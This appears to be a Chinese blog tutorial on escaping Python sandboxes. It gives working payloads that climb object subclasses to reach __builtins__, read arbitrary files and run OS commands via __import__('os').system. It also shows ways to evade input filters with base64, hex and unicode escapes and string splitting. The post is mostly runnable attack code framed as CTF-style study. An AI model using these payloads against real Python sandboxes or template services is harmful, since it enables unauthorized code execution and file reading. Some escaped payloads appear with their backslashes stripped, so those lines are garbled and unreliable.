當前位置:首頁 > IT技術 > 編程語言 > 正文

python沙盒逃逸(0)
2022-04-29 13:54:05

基礎知識&基本操作

基本魔術方法

print(''.__class__.__mro__)    #獲取類繼承鏈
print(''.__class__.__bases__)  #獲取父類(python支持多繼承),返回值是元組形式
print(''.__class__.__base__)   #獲取基類[單個回顯]
print(''.__class__.__subclasses__())  #獲取該類的所有子類
#__dict__ 返回所有屬性,包括屬性,方法等
#__init__ 類實例創(chuàng)建之后調(diào)用, 對當前對象的實例的一些初始化

獲取子類

#打印Object類的所有子類
for i in range(0,200):
    try:
        thing=''.__class__.__bases__[0].__subclasses__()[i]
        print(i,' ',thing)
    except:
        Exception

獲取全局函數(shù)

#尋找具有__globals__屬性的類.
#只有被重載的類才有該屬性。
#使用__init__初始化后,帶有“wrapper”的說明沒有被重載。
#Object本身沒有被重載;從它的子類找。
for i in range(200):
    try:
        thing=str([].__class__.__base__.__subclasses__()[i].__init__)
        if 'wrapper' not in thing:
            print(i,' ',[].__class__.__base__.__subclasses__()[i])
    except:
        Exception

文件讀取

#使用_frozen_importlib_external.FileLoader類進行文件讀取
#這里我不太會查python文檔之類的,只能用__dict__看這個類的所有屬性,之后找看起來能用的試。
print([].__class__.__base__.__subclasses__()[100].__dict__)
#最后就找到了一個get_data,用法有個參數(shù)還沒搞明白
print([].__class__.__base__.__subclasses__()[100].get_data('任意值','C:/Users/Dell/Downloads/app.py'))

尋找命令執(zhí)行

#嘗試尋找命令執(zhí)行
#結果沒找到eval方法,有幾個類里有exec,但并沒有exec方法(實際上是exec_method)。
for i in range(200):
    try:
        thing=str([].__class__.__base__.__subclasses__()[i].__dict__)
        if ('wrapper' not in thing)and(('eval' in thing)or('exec' in thing)):
            print(i,' ',[].__class__.__base__.__subclasses__()[i])
            print(i, ' ', [].__class__.__base__.__subclasses__()[i].__dict__)
    except:
        Exception
#轉換思路;之前一直看的是python自帶的類(Object及其子類)中的方法;
#現(xiàn)在,來看看內(nèi)置函數(shù)。
#通過__init__.__globals__['__builtins__']查看初始化時即導入的內(nèi)置函數(shù)。從哪個類進去都一樣。
#這里面一般是有eval和exec的。
print([].__class__.__base__.__subclasses__()[135])
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[40].__init__)
thing=str([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__'])
if ('eval' in thing)and('exec' in thing):
    print('exist')
#eval和exec在返回值上有一些區(qū)別,此處先忽略.
#只要知道他能將字符串當成代碼執(zhí)行就行了。
#使用__import__動態(tài)包含模塊,然后調(diào)函數(shù)即可。
#結合之前的內(nèi)容,就搞出了一種常見payload
print(eval('__import__("os").system("whoami")'))
print(exec('__import__("os").system("whoami")'))
print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))

繞過姿勢

以下繞過,均以

print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))

為例進行修改。

編碼繞過

payload中引號內(nèi)的(即字符串類型的數(shù)據(jù)),在調(diào)用的時候都可以使用編碼繞過。

函數(shù)繞過

測試的時候需要外部庫base64,感覺不太好用。

#python生成base64信息的樣例
import base64
print(base64.b64encode('__builtins__'.encode()))

#樣例payload;感覺真的不好用。
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__[base64.b64decode('X19idWlsdGluc19f'.encode()).decode()][base64.b64decode('ZXhlYw=='.encode()).decode()](base64.b64decode('X19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIp'.encode()).decode())

字節(jié)碼繞過

python中的.encode()對于可見的ascii字符不會輸出其字節(jié)碼,所以還得自己寫轉化。

#純字節(jié)碼的轉化樣例
x='__import__("os").system("whoami")'
y=''
for i in range(len(x)):
    y+='\x'+(hex(ord(x[i]))[2:])
print(y)

#樣例payload
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__['x5fx5fx62x75x69x6cx74x69x6ex73x5fx5f']['x65x76x61x6c']('x5fx5fx69x6dx70x6fx72x74x5fx5fx28x22x6fx73x22x29x2ex73x79x73x74x65x6dx28x22x77x68x6fx61x6dx69x22x29')

Unicode繞過

跟字節(jié)碼繞過差不多,但挺新奇的。

生成時,將\x改為\u00即可。

舉例:x65x76x61x6c 變?yōu)?code>u0065u0076u0061u006c

python默認支持Unicode;基本已經(jīng)不采用它的原因是一般情況下前兩位都是00,太浪費空間了。

拼接類繞過

以過濾flag為例:

join函數(shù)拼接:("fla".join("/g"))

注釋拼接:fl''ag fl""ag

其他繞過&組合繞過

https://xz.aliyun.com/t/11090#toc-10

自己看吧。

本文摘自 :https://www.cnblogs.com/

開通會員,享受整站包年服務立即開通 >